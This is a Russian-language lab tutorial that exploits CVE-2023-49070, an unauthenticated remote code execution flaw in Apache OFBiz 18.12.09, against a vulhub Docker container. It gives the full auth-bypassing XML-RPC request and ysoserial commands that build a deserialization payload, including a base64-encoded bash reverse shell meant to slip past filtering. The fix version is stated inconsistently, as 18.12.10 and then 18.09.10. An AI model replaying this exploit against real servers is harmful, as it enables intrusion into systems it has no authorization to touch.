Apache OFBiz CVE-2023-49070
Введение
Apache OFBiz - это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.
5 декабря 2023 года в OFBiz был найден критический баг, приводящий к удаленному выполнению кода без аутентификации. Уязвимость получила 9.8 баллов по CVSS и идентификатор CVE-2023-49070. Разработчик исправил ошибку в обновлении 18.12.10.
В этой статье мы развернем уязвимую версию OFBiz и разберемся как эксплуатировать ее.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Подготовка
Для эксплуатации уязвимостей нам необходимо поставить версию уязвимого ПО - 18.12.09 для CVE-2023-49070. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull или docker-compose, предварительно скачав каталог с файлами настройки из GitHub-репозитория.
Скачиваем контейнер с помощью docker pull:
docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09
Чтобы запускать и останавливать контейнеры достаточно написать следующие команды:
docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09 # - запуск контейнера docker stop CONTAINER_ID # - остановка контейнера по id
Также для эксплуатации уязвимости необходимо скачать ysoserial. ysoserial - это проект, необходимый для эксплуатации небезопасной десериализации объектов в программах, написанных на Java. Подробнее об этой уязвимости можно прочитать на PortSwigger. Коротко говоря, ysoserial будет использоваться для генерации сериализованного Java объекта с внедренным пэйлоадом для эксплуатации.
Разбор уязвимости CVE-2023-49070
Для начала демонстрации необходимо запустить контейнер, как это было показано выше (запуск может потребовать некоторого времени). Когда образ полностью поднимется, у нас будет доступно веб-приложение на порту 8443:
Уязвимость заключается в модуле xmlrpc, где можно произвести внедрение команды в XML. Внедрение кода происходит в точке /webtools/control/xmlrpc;/. Для этого нужно отправить запрос со следующей структурой:
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: 127.0.0.1:8443 Connection: close Content-Length: 669 <?xml version="1.0"?> <methodCall> <methodName>qwe</methodName> <params> <param> <value> <struct> <member> <name>rce</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> PAYLOAD </serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
Теперь нам необходимо сгенерировать пэйлоад с помощью раннее скачанного ysoserial:
java -jar ysoserial-all.jar CommonsBeanutils1 'COMMAND' | base64 | tr -d "\n"
где COMMAND - команда, которую мы хотим выполнить, зашифрованная в base64.
Однако, мы поступим немного хитрее, иначе пэйлоад на реверс-шелл не отработает из-за спец-символов и фильтрации. Мы сначала закодируем команду в base64, а в конечном пэйлоаде будем проводить декодировку:
java -jar ysoserial-all.jar CommonsBeanutils1 'bash -c {echo,BASE64_COMMAND}|{base64,-d}|{bash,-i}' | base64 | tr -d "\n"
Отправив полученную закодированную строку, мы получаем обратный шелл:
Заключение
В этой статье мы развернули уязвимую версию Apache OFBiz 18.12.09 и рассмотрели как эксплуатировать уязвимость CVE-2023-49070. Данная ошибка была исправлена разработчиком в версии 18.09.10, однако это привлекло к другой уязвимости, также приводящей к удаленному выполнению кода. Эта уязвимость получила идентификатор CVE-2023-51467 и будет рассмотрена в следующей статье.